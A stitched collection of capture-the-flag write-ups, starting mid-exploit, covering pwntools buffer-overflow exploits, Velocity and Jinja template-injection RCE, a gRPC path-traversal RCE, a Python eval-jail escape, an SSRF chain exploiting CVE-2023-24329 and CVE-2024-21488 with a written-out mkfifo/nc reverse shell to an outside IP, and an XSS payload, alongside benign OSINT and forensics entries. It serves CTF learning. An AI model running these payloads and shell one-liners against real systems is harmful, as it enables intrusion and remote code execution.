payload = [ b'A' * offset, p64(pop_rdi), p64(bin_sh), p64(system_addr), p64(exit_addr)]
payload = b''.join(payload)
io.sendlineafter(b':', payload)
io.interactive()```
The flag is:
```bash$ iduid=100(ctf) gid=101(ctf) groups=101(ctf)$ lscoreflag.txtglibcpet_companion$ cat flag.txtHTB{c0nf1gur3_w3r_d0g}``` |
In my opinion this is the most interesting challenge in DFIR. Our mission is analyzing email file in somewhere in backup file. After spending time finding, I found email files:
![](https://odintheprotector.github.io/assets/images/bitsctf2024/17.png)
I will use Thunderbird to analyze it!
![](https://odintheprotector.github.io/assets/images/bitsctf2024/18.png)
With ‘YOU WON A LOTTERY.eml’ it just two files that I discussed above, so it’s no more important. Just ‘50% Discount available on the Mimikyu plushie.eml’ that we haven’t analyzed yet:
![](https://odintheprotector.github.io/assets/images/bitsctf2024/19.png)
It took me a long time to think because 2 email don’t give me anything. But when I read message so many times, I realised that it’s so confusing and it’s not how a normal person says. And then I thought: “Maybe… it’s a type of encryption?????”. Not waiting, I took a part of the message and search Google, I know it’s called **Spammimic**:
![](https://odintheprotector.github.io/assets/images/bitsctf2024/20.png)
Very fast, I decoded message by [online tool](https://www.spammimic.com/decode.shtml) and I got the flag!
**FLAG: BITSCTF{sp4m_2_ph1sh_U}** |
# Writing on the Wall
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?
## Writeup
The main function of the code is this:
```cundefined8 main(void)
{ int check; long in_FS_OFFSET; char buffer [6]; undefined8 target; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); target = 0x2073736170743377; read(0,buffer,7); check = strcmp(buffer,(char *)&target); if (check == 0) { open_door(); } else { error("You activated the alarm! Troops are coming your way, RUN!\n"); } if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
We need to set the **buffer** and the **target** equal, but our buffer is only of **6** chars and the target is long **8** chars.
The overflow is of **one** only byte, so we can send **\0** to terminate the string and make it equal.
This will be our payload:
```\0AAAAA\0```
The final exploit will be:
```python#!/usr/bin/env python3from pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or 'writing_on_the_wall')context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']if args['LOCAL']: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Can be found via $ ldd exeelse: libc = ELF('glibc/libc.so.6', checksec=False)
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '94.237.53.26'port = int(args.PORT or 41230)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
io = start()
payload = b'\0AAAAA\0'
io.sendlineafter(b'>>', payload)
io.interactive()```
The flag is:
```You managed to open the door! Here is the password for the next one: HTB{3v3ryth1ng_15_r34d4bl3}``` |
## Baby-ebpf
We were given a [ebpf](https://en.wikipedia.org/wiki/EBPF) elf [file](https://gr007.tech/writeups/2023/backdoor/rev/babyebpf/babyebpf.o). The intended solve for this was to load this ebpf and look at the kernel trace. But I just old-school reversed it with objdump.
```shbackdoor/rev/babyebpf on master [!?]❯ objdump -d babyebpf.o
babyebpf.o: file format elf64-bpfle
Disassembly of section tp/syscalls/sys_enter_execve:
0000000000000000 <detect_execve>: 0: b7 01 00 00 44 04 05 1c mov %r1,0x1c050444 8: 63 1a f8 ff 00 00 00 00 stxw [%fp+-8],%r1 10: 18 01 00 00 19 08 34 01 lddw %r1,0x954094701340819 18: 00 00 00 00 47 09 54 09 20: 7b 1a f0 ff 00 00 00 00 stxdw [%fp+-16],%r1 28: 18 01 00 00 13 57 3e 40 lddw %r1,0x10523251403e5713 30: 00 00 00 00 51 32 52 10 38: 7b 1a e8 ff 00 00 00 00 stxdw [%fp+-24],%r1 40: 18 01 00 00 0b 0d 13 0e lddw %r1,0x43075a150e130d0b 48: 00 00 00 00 15 5a 07 43 50: 7b 1a e0 ff 00 00 00 00 stxdw [%fp+-32],%r1 58: b7 01 00 00 00 00 00 00 mov %r1,0
0000000000000060 <LBB0_1>: 60: 18 02 00 00 00 00 00 00 lddw %r2,0 68: 00 00 00 00 00 00 00 00 70: 0f 12 00 00 00 00 00 00 add %r2,%r1 78: 71 22 00 00 00 00 00 00 ldxb %r2,[%r2+0] 80: bf a3 00 00 00 00 00 00 mov %r3,%fp 88: 07 03 00 00 e0 ff ff ff add %r3,-32 90: 0f 13 00 00 00 00 00 00 add %r3,%r1 98: 71 34 00 00 00 00 00 00 ldxb %r4,[%r3+0] a0: af 42 00 00 00 00 00 00 xor %r2,%r4 a8: 73 23 00 00 00 00 00 00 stxb [%r3+0],%r2 b0: 07 01 00 00 01 00 00 00 add %r1,1 b8: 15 01 01 00 1c 00 00 00 jeq %r1,0x1c,1 c0: 05 00 f3 ff 00 00 00 00 ja -13
00000000000000c8 <LBB0_2>: c8: bf a3 00 00 00 00 00 00 mov %r3,%fp d0: 07 03 00 00 e0 ff ff ff add %r3,-32 d8: 18 01 00 00 1c 00 00 00 lddw %r1,0x1c e0: 00 00 00 00 00 00 00 00 e8: b7 02 00 00 04 00 00 00 mov %r2,4 f0: 85 00 00 00 06 00 00 00 call 6 f8: b7 00 00 00 01 00 00 00 mov %r0,1 100: 95 00 00 00 00 00 00 00 exit```
The `detect_execve` function saves some constant values in the memory. `LBB0_1` function uses some memory string as reference as the key for xoring and `LBB0_2` function was used to print the flag out in the kernel trace. I rewrote the algorithm in c.
```c#include <stdio.h>
int main() { char *key = "marinkitagawamarinkitagawama\0"; char arr[] = {0x0b, 0x0d, 0x13, 0x0e, 0x15, 0x5a, 0x07, 0x43, 0x13, 0x57, 0x3e, 0x40, 0x51, 0x32, 0x52, 0x10, 0x19, 0x08, 0x34, 0x01, 0x47, 0x09, 0x54, 0x09, 0x44, 0x04, 0x05, 0x1c}; int len = sizeof(arr) / sizeof(arr[0]); for (int i = 0; i < len; i++) { printf("%c", arr[i] ^ key[i]); }}```
The key string was obtained after i did strings on the ebpf file. That looked sus and it worked out. I am sure it won't be this easy next time. So gotta learn about ebpf.
flag: `flag{1n7r0_70_3bpf_h3h3h3eh}` |
# Labyrinth Linguist
You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.
## Writeup
We can send a **text** param that will replace the **TEXT placeholder** of **index.html** as we can see in the code:
```java@RequestMapping("/")@ResponseBodyString index(@RequestParam(required = false, name = "text") String textString) { if (textString == null) { textString = "Example text"; }
String template = "";
try { template = readFileToString("/app/src/main/resources/templates/index.html", textString); } catch (IOException e) { e.printStackTrace(); }
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); StringReader reader = new StringReader(template);
org.apache.velocity.Template t = new org.apache.velocity.Template(); t.setRuntimeServices(runtimeServices); try {
t.setData(runtimeServices.parse(reader, "home")); t.initDocument(); VelocityContext context = new VelocityContext(); context.put("name", "World");
StringWriter writer = new StringWriter(); t.merge(context, writer); template = writer.toString();
} catch (ParseException e) { e.printStackTrace(); }
return template;}
public static String readFileToString(String filePath, String replacement) throws IOException { StringBuilder content = new StringBuilder(); BufferedReader bufferedReader = null;
try { bufferedReader = new BufferedReader(new FileReader(filePath)); String line; while ((line = bufferedReader.readLine()) != null) { line = line.replace("TEXT", replacement); content.append(line); content.append("\n"); } } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException e) { e.printStackTrace(); } } }
return content.toString();}```
So it is vulnerable to **SSTI** for **velocity**, we can try to use this **PoC**:
```java#set($run=7*7) $run```
The output is:
```49```
So now, we can write an exploit to use this vulnerability to make some **RCE**:
```python#!/usr/bin/python3import requests
ip = "83.136.255.205"port = 51683"""ip = "localhost"port = 1337"""
url = f"http://{ip}:{port}/"
PoC = "#set($run=7*7) $run"
command = "cat /flaga68e9e6704.txt"
payload = f"""#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('{command}'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"""
req = requests.post(url, params={'text': payload})print(req.text)```
The flag is:
```HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}``` |
## OSINT/Flying High (354 solves)Created by: `windex`> I'm trying to find a flight I took back in 2012. I forgot the airport and the plane, but I know it is the one with an orange/red logo on the right side of this photo I took. Can you help me identify it? The flag format is UofTCTF{AIRPORT_AIRLINE_AIRCRAFT}. AIRPORT is the 3 letter IATA code, AIRLINE is the name of the airline (dash-separated if required), and AIRCRAFT is the aircraft model and variant (omit manufacturer name). For example, UofTCTF{YYZ_Air-Canada_A320-200} or UofTCTF{YYZ_Delta_767-300}. Note: The aircraft variant should be of X00 format; ie. there may be models with XYZ-432, but the accepted variant will be XYZ-400.
We are given the following image to start with:
![Airplane Picture](https://seall.dev/images/ctfs/uoftctf2024/flying-high.png)
The challenge description states we need the 3 letter IATA code for the airport, the airline and the aircraft model and variant.
The building on the left side 'Novespace' seems to have only 1 hit on Google Maps in [France](https://www.google.com.au/maps/@44.8378482,-0.7161052,3a,75y,119.31h,93.15t/data=!3m6!1e1!3m4!1sPLLVOdxxS24c-6eTu1fJ4g!2e0!7i13312!8i6656). More specifically, Bordeaux-Mérignac Airport or BOD.
Looking at the symbols on the plane in the picture and browsing a [Wikipedia Entry](https://en.wikipedia.org/wiki/List_of_airline_liveries_and_logos) for the phrase 'yellow and red', I eventually stumble upon Iberia Airline.
![Iberia Plane](https://seall.dev/images/ctfs/uoftctf2024/iberia.jpg)
Seem's like the same markings! Now what model do we have?
I look on Iberia's website and find a [current fleet](https://www.iberia.com/iberia-fleet/) list.
![Planes](https://seall.dev/images/ctfs/uoftctf2024/planes.png)
After trying a few I spot the 'A340-600' model and get success with the following flag.
Flag: `UofTCTF{BOD_Iberia_A340-600}`
**Files:** [airplane.png](https://files.seall.dev/ctfs/uoftctf2024/flying-high/airplane.png) |
# 1337UP LIVE CTF 2023
## Virtual RAM
> I wonder what the old man is talking about ?> > Author: Mohamed Adil> > Password is "infected"> > [`VirtualRAM.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/1337uplive/rev/virtual_ram/VirtualRAM.zip)
Tags: _rev_
## SolutionAfter unpacking the archive we get a file named `VirtualRam`, using `file` on the file gives us.
```bash$ file VirtualRamVirtualRam: Game Boy ROM image: "VIRTUALRAM" (Rev.01) [MBC5+RAM+BATT], ROM: 1Mbit, RAM: 256Kbit```
So a `Game Boy ROM`, we need to find a fitting emulator, best with debugging capabilities. [`BGB`](https://bgb.bircd.org/) is exactly what we need for this job. After opening the ROM we can start a new game.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/1337uplive/rev/virtual_ram/game.png)
We can't do much except talk to the `NPC` which will tell us `It's dangerous to go alone - View the VRAM`. All right, then we should do so.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/1337uplive/rev/virtual_ram/vram.png)
And horray, there is the flag, lying unused, and a bit scrambled, in `vram`. After reordering the tiles we get the flag.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/1337uplive/rev/virtual_ram/flag.png)
Flag `INTIGRITI{H3r0_0F_t1M3}` |
# Testimonial
[![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=2016 "HackTheBox Cyber Apocalypse '24: Testimonial (web)")
## Description
> As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.
## Solution
We have a Go application with two ports (`1337` and `50045`) that allows us to submit a testimonial, along with our name. Initial tests don't yield any results, so we may as well check the source code.
Tip: you can install VSCode extensions for syntax highlighting, I recommend the `templ` one for this challenge.
Note, when running the local docker instance, I immediately notice a warning message.
```bash(!) templ version check: generator v0.2.598 is newer than templ version v0.2.543 found in go.mod file, consider running `go get -u github.com/a-h/templ` to upgrade```
I saw this on another challenge (`LockTalk` - `python-jwt`) and it also caught my attention. In that case, the JWT package was out-of-date and there was a known vulnerability. Let's see if this challenge is the same..
We are using the [v0.2.543 version](https://github.com/a-h/templ/releases/tag/v0.2.543) but it is only 3 months old. The only release since is ~1 week ago so it's highly unlikely to be the intended path. Furthermore, I don't see any patched security issues in the changelog.
Checking the `entrypoint.sh` file, the flag filename is randomised and it's moved to the root directory, hinting our goal is RCE.
```bashmv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt```
Let's give the code to ChatGPT for a quick summary.
### ChatGPT
**Application Structure:**
1. **RickyService (gRPC Service):** - Defines a single RPC method `SubmitTestimonial` for submitting testimonials.2. **TestimonialSubmission Message:** - Contains information about a testimonial, including `customer` and `testimonial` fields.3. **GenericReply Message:** - Represents a generic reply with a `message` field.4. **Server (`main.go` and `grpc.go`):** - Uses Chi router to serve static files from the "public" directory. - Implements a gRPC server with a single service (`RickyService`) and a method (`SubmitTestimonial`).5. **Client (`client.go`):** - Provides a gRPC client for submitting testimonials.6. **Handlers (`home.go` and `shared.go`):** - Handles HTTP requests, allowing users to submit testimonials via the web interface.
**Workflow:**
1. Clients can submit testimonials via the web interface by accessing the home page.2. The `HandleHomeIndex` function processes the submitted data, sanitizes it, and sends it to the gRPC server using the client.3. The gRPC server receives the testimonial, processes it, and returns a generic reply.
**Important Notes:**
- The application uses Protocol Buffers for defining messages and gRPC for communication.- The server serves static files using the Chi router and implements a gRPC server.- The client communicates with the gRPC server to submit testimonials.- The `ptypes.proto` file defines the message and service contracts.- Generated Go files (`ptypes_grpc.pb.go` and `ptypes.pb.go`) provide implementations of the defined messages and service.
What can I take away from this? Probably to investigate `gRPC`, `Chi router`, and `Protocol Buffers` to see if there are any common vulns/attacks. I don't know much about any of those things _or_ `golang`, so I analysing the code is painful.
While transferring the code to ChatGPT, one particular function stood out for obvious reasons.
```gofunc (c *Client) SendTestimonial(customer, testimonial string) error { ctx := context.Background() // Filter bad characters. for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} { customer = strings.ReplaceAll(customer, char, "") }
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial}) return err}```
Note: ChatGPT spotted the code but attributed it to the wrong function (`HandleHomeIndex`), in a completely different file. You had one job ChatGPT!! I tried to ask about potential vulns but it _really_ did not want to play. Guess we will do this the old way ?
One interesting thing is the code indicates that the testimonials we submit are written to `public/testimonials/` but every time I check the directory in the browser there is only `1.txt 2.txt 3.txt`.
Eventually I spotted the `0644` perms and got a shell on the local docker instance to confirm files were being written, they just weren't publicly viewable.
```goerr := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)```
There are some good gRPC tools and resources on [this repo](https://github.com/grpc-ecosystem/awesome-grpc).
Maybe we can interact with the service on port `50045` directly using [grpcurl](https://github.com/fullstorydev/grpcurl).
We'll start by [listing services](https://github.com/fullstorydev/grpcurl?tab=readme-ov-file#listing-services).
Unfortunately, lots of commands fail due to not supporting the reflection API.
```bash./grpcurl -plaintext 127.0.0.1:50045 list
Failed to list services: server does not support the reflection API```
We can list the services by specifying the proto file.
```bash./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto list
RickyService```
Next, describe the service.
```bash./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto describe RickyService
RickyService is a service:service RickyService { rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );}```
And method.
```bash./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto describe RickyService.SubmitTestimonial
RickyService.SubmitTestimonial is a method:rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );```
Try again to invoke the RPC.
```bash./grpcurl -plaintext 127.0.0.1:50045 RickyService.TestimonialSubmission
Error invoking method "RickyService.TestimonialSubmission": failed to query for service descriptor "RickyService": server does not support the reflection API```
According to the docs:
> To use `grpcurl` on servers that do not support reflection, you can use `.proto` source files.
> In addition to using `-proto` flags to point `grpcurl` at the relevant proto source file(s), you may also need to supply `-import-path` flags to tell `grpcurl` the folders from which dependencies can be imported.
```bash./grpcurl -plaintext -d '{"customer": "test", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
{ "message": "Testimonial submitted successfully"}```
When we check the webpage, we will see our submission! We've essentially bypassed the blacklist filter by submitting the testimonial directly.
Let's confirm that.
```bash./grpcurl -plaintext -d '{"customer": "<script>alert(0)</script>", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
ERROR: Code: Unknown Message: open public/testimonials/<script>alert(0)</script>: no such file or directory```
It failed to open that file, because it failed to read the filename. Remember:
```goerr := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)if err != nil { return nil, err}```
How about directory traversal? If we input `../../../../test.txt`, will it be written to `/`?
```bash./grpcurl -plaintext -d '{"customer": "../../../../test.txt", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
{ "message": "Testimonial submitted successfully"}```
We can check the local docker instance.
```bashdocker exec -it web_testimonial bash
~ # ls /bin flagc5f171e16f.txt mnt sbin usrchallenge go opt srv vardev home proc sysentrypoint.sh lib root test.txtetc media run tmp```
It is! The next part took me a long time - trying to work out how to gain RCE. I was mostly trying to inject payloads into the page, to no avail. In the end, I used the path traversal vuln to replace `index.templ` with a malicious one.
```gopackage home
import ( "os/exec" "strings")
func hack() []string { output, _ := exec.Command("ls", "/").CombinedOutput() lines := strings.Fields(string(output)) return lines}
templ Index() { @template(hack())}
templ template(items []string) { for _, item := range items { {item} }}```
Ask ChatGPT to escape it for me ofc.
```bash./grpcurl -plaintext -d '{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"ls\", \"/\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t@template(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
{ "message": "Testimonial submitted successfully"}```
Reload the page and get the flag filename, then update our command.
```bash./grpcurl -plaintext -d '{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"cat\", \"/flagbba4cb647c.txt\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t@template(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial
{ "message": "Testimonial submitted successfully"}```
Flag: `HTB{w34kly_t35t3d_t3mplate5}` |
# Unbreakble
Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won't be easy. I'm ready for whatever tricks you have up your sleeve!
## Writeup
We can send some python code and it will be exeuted:
```pythonblacklist = [ ';', '"', 'os', '_', '\\', '/', '`', ' ', '-', '!', '[', ']', '*', 'import', 'eval', 'banner', 'echo', 'cat', '%', '&', '>', '<', '+', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'b', 's', 'lower', 'upper', 'system', '}', '{' ]
while True: ans = input('Break me, shake me!\n\n$ ').strip() if any(char in ans for char in blacklist): print(f'\n{banner1}\nNaughty naughty..\n') else: try: eval(ans + '()') print('WHAT WAS THAT?!\n') except: print(f"\n{banner2}\nI'm UNBREAKABLE!\n") ```
Just find some command that are not blacklisted:
```pythonprint(open('flag.txt').read())#```
Run it on the server:
```bashecho "print(open('flag.txt').read())#" | nc 94.237.57.155 44218```
This is the flag:
```HTB{3v4l_0r_3vuln??}``` |
**tl;dr**
+ Fuzzing to find the ``/internal`` endpoint+ Chaining CVE-2023–24329 and the SSRF in the ``/okay`` endpoint to access the internal docker registry host.+ Downloading image blobs using the docker registry API.+ Using CVE-2024-21488 to get RCE on the ``vec`` service.+ As the templates directory of the ``core`` service is cross-mounted, we can modify the index.html file from vec service to get RCE on the core service.+ Hence we can read the flag from the core service.
**Challenge Points**: 964**No. of solves**: 9**Challenge Author**: Winters
## Challenge Description
Is this really ok......
## Initial Analysis
**Challenge doesn't require players to guess any part of the challenge everything was there where it was required**
We are given an instancer url, on visiting the instancer we can make a new instance for a particular team, now after a basic authentication process we can access the actual challenge.
We'll see a webpage with a field to enter a url, and a request is being made to ``http://host:port/native`` which returns the gateway address of the server, This will prove to ba critical bug later on.
### Fuzzing
On the challenge page, you can basically give a url and the service will send a request to that endpoint, which hints towards an obvious SSRF, But how can we elevate this to get something useful, we need to find some internal endpoints. So fuzzing the challenge url would reveal the ``/internal`` endpoint, which lists all services running on the server. One of those service which is not exposed to the outside world is the ``http://registry:5000`` service. Now we can try using the SSRF to access the internal docker registry host.If we give the url as ``http://registry:5000`` we'll get the response ``Not Okay, blocked host``. This means that the server has implemented some checks to prevent the users from accessing the registry.
### CVE-2023–24329
On giving a url like ``http://example.co`` or a malformed url we can see that a urllib error is spit out, so the backend is using urllib, Now one inspecting the response headers we can see that the python version is ``Python/3.11.3`` Now on doing a google search including urllib and python 3.11.3 we can see that there is a CVE-2023-24329 which is a urllib blocked hosts bypass using a whitespace character. So we can send the a request to `` http://registry:5000`` **Notice the whitespace character at the start**. Now we can directly talk to the internal registry API without any issues.
### The docker registry
On Sending a request to `` http://registry:5000/v2/_catalog`` we can see that there are two repositories which are there, namely ``Vec`` and ``Core`` which are the same services listed on the ``/internal`` endpoint. Now we can load in the manifest file for each of the repos and then individually download all the image blobs for each of the repos, One can easily use the docker registry API to do this, and it is well documented here [registry_api](https://distribution.github.io/distribution/spec/api/).
Here is an example script to download the blobs for the repos.
```python# Script to download the blobs for the Vec repoimport requests
URL = 'http://34.18.13.217:52593/okay'
# Notice the whitespace at the beginning of the URLINTERNAL_URL = ' http://registry:5000/v2/'
# Get the name of the imagedef get_image_name(): r = requests.post(URL, data={'url': INTERNAL_URL+'_catalog'}) print(r.json())
# Get the manifest and get the blobsdef get_blobs(): r = requests.post(URL, data={'url': INTERNAL_URL+'vec/manifests/latest'}) # Parse it as json parsed = r.json() fsLayers = parsed['fsLayers'] count = 0 for i in fsLayers: blob_sum = i['blobSum'] dowload_path = './blobs/'+str(count)+'.tar.gz' r = requests.post(URL, data={'url': INTERNAL_URL+'vec/blobs/'+blob_sum}) print(r.text) if(r.status_code == 200): with open(dowload_path,'wb') as file: file.write(r.content) count += 1
get_blobs()```
Now we have the source code for both of the services. But just grepping through the downloaded folders we can see that there are no flags in these repos. So where is the flag?
### Source Code Analysis, RCE on the VEC service
This is the source code for the Vec service
```javascriptconst express = require("express");const network = require("network");
var app = express();
app.get('/native',(req,res)=>{ network.gateway_ip_for("eth0", (err,out) => { if(out){ res.setHeader('Content-Type', 'application/json'); res.setHeader('Access-Control-Allow-Origin', '*'); res.send(out); } else{ res.setHeader('Content-Type', 'application/json'); res.setHeader('Access-Control-Allow-Origin', '*'); res.send('10.113.123.22'); } });});
app.get('/custom',(req,res)=>{ let resp = req.query.interface console.log(resp); network.gateway_ip_for(resp,(err,out)=>{ res.setHeader('Content-Type', 'application/json'); res.setHeader('Access-Control-Allow-Origin', '*'); res.send(out); });});
app.listen(3000,()=>{ console.log("Vector listening on port 3000");});```So remember when i told you the website is making a cross origin request to the ``/native`` endpoint which returns a gateway address, well that is handled by the ``Vec`` service and the source code for the service is as given above.
Interestingly we can see a different endpoint ``/custom`` which takes in a user parameter and passes it into a function called ``network.gateway_ip_for``, this function is defined in the network module that is being used, Now this particular module had an RCE vulnerability associated with it recently ``CVE-2024-21488``.
So how can we use this here, POC's out there for this CVE uses a different function call than ``gateway_ip_for``, so what can we do now?Well we can look through the source code of the network module and see the definition of the ``gateway_ip_for`` function.
The source code for it is as follows
**Before Patch**
```javascriptexports.gateway_ip_for = function(nic_name, cb) { trim_exec("ip r | grep " + nic_name + " | grep default | cut -d ' ' -f 3 | head -n1", cb);};```
**After patch by the vendor**
```javascriptfunction ensure_valid_nic(str) { if (str.match(/[^\w]/)) throw new Error("Invalid nic name given: " + str);}
exports.gateway_ip_for = function(nic_name, cb) { ensure_valid_nic(nic_name); trim_exec("ip r | grep " + nic_name + " | grep default | cut -d ' ' -f 3 | head -n1", cb);};```
As you can see there before the patch we had complete control over the ``nic_name`` parameter for the function ``gateway_ip_for``, and this is directly executed as shell command, Nice!. So basically we can get RCE on the ``Vec`` service by using the following payload
```bash curl "http://host:port/custom/?interface=| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.113.21.179 5001 >/tmp/f #" ```
### Cross Mount RCE on the Core service
Now we have an RCE on the ``Vec`` service, which you can escalate to a reverse shell, but on searching the filesystem of the ``Vec`` service we can see that there is no flag, At this point the flag is not in the ``registry`` service, not in the ``Vec`` service so it has to be in the ``Core`` service so that means we have to somehow get file read on that service from the ``Vec`` service.
Interestinly we can see a templates folder in the ``Vec`` service which has the index.html for the ``Core`` service, which is just the html for the initial link that we visited where we could give links and it would make a request, that seems a little sus.
If we run the command ``lsblk`` on the ``Vec`` service we can see that indeed the templates directory is mounted from the host system.So at this point a natural idea will be to modify the index.html file and hope that'll get reflected on the ``Core`` service as well.
Our theory can be verified by seeing the line in the source code for the ``Core`` service
```pythonapp.config['TEMPLATES_AUTO_RELOAD'] = True```
So basically whenever a change is made to the templates directory it is automatically reloaded, and the change is immediately reflected on the website.
So finally putting all those findings together we can certify the following theory that the templates directory is mounted from the host to both the ``Vec`` and the ``Core`` service, and any changes made to the templates directory from the ``Vec`` service will be reflected on the ``Core`` service as well.
Now we can give any SSTI payload inside index.html on the ``Vec`` service and that change will be reflected on the ``Core`` service as well, essentially we now have RCE on the ``Core`` service.
The following SSTI payload can be used to read the flag
```html<html> <body> {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag/flag.txt').read() }} </body></html>```
After that just reload the challenge url and the flag should be there.
That was the entire challenge, I wanted the challenge to be a little inclined towards general system security, I learned a lot while making this challenge, and I hope you learned something while solving it as well. |
# Discord## 50I heard there's a flag somewhere on our discord server?!
---
I took a surprisingly long time to find this ;-;
The flag is located in Channels & Roles --> Browse Channels --> #General under 1337UPLIVE CTF
INTIGRITI{c0n6r47ul4710n5_y0u_f0und_0ur_d15c0rd_53rv3r} |
# New Housing System
## Description```After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?
Site - new-housing-portal.chall.lac.tfAdmin Bot - https://admin-bot.lac.tf/new-housing-portal```
## Provided Files`new-housing-portal.zip`
## Writeup
Starting off I instantly knew that this was a `XSS` vulnerability. In CTF challenges where there is an `admin-bot` to visit a website this is almost always the case. Knowing this I searched the flag in the provided code.```jsusers.set('samy', { username: 'samy', name: 'Samy Kamkar', deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}', password: process.env.ADMINPW || 'owo', invitations: [], registration: Infinity});```In the code above the flag is being injected into a user account.
```jsconst $ = q => document.querySelector(q);const $all = q => document.querySelectorAll(q);
(async () => { const { invitations } = await fetch('/invitation').then(r => r.json()); $('.invitations').innerHTML = invitations.map((inv) => ` <div class="invitation"> <div class="col"> <div class="from">From: ${inv.from}</div> <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div> </div> <div class="col"> <button>Accept</button> </div> </div> `).join('\n');
$all('button').forEach((button) => { button.addEventListener('click', () => { alert('Sorry! The System is under load, cannot accept invite!'); }) });})();```In the code above the flag would be loaded as `deepestDarkestSecret`. Keeping this in mind I searched for the `XSS` entrypoint. I was able to find it in the endpoint `/finder` using the query `?q=XSS`.
Putting this together for a test I created a user with the XSS as the name below. ``````
After creating this user I visited the URL `https://new-housing-portal.chall.lac.tf/finder/?q=` which resulted in an alert being executed in my browser. Having this working `XSS` vulnerability I now had to forge a `XSS payload` to send an invite to my account so I can put it into an URL and use it on the `admin-bot`.
After some tampering I found a working payload. ```js
fetch('https://new-housing-portal.chall.lac.tf/finder', { method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'username=MYACCOUNT'});```
Taking a look at the javascript code we can see that it takes my username to send a `POST` request with it to the endpoint `/finder`. Finished URL: ```https://new-housing-portal.chall.lac.tf/finder/?q=```
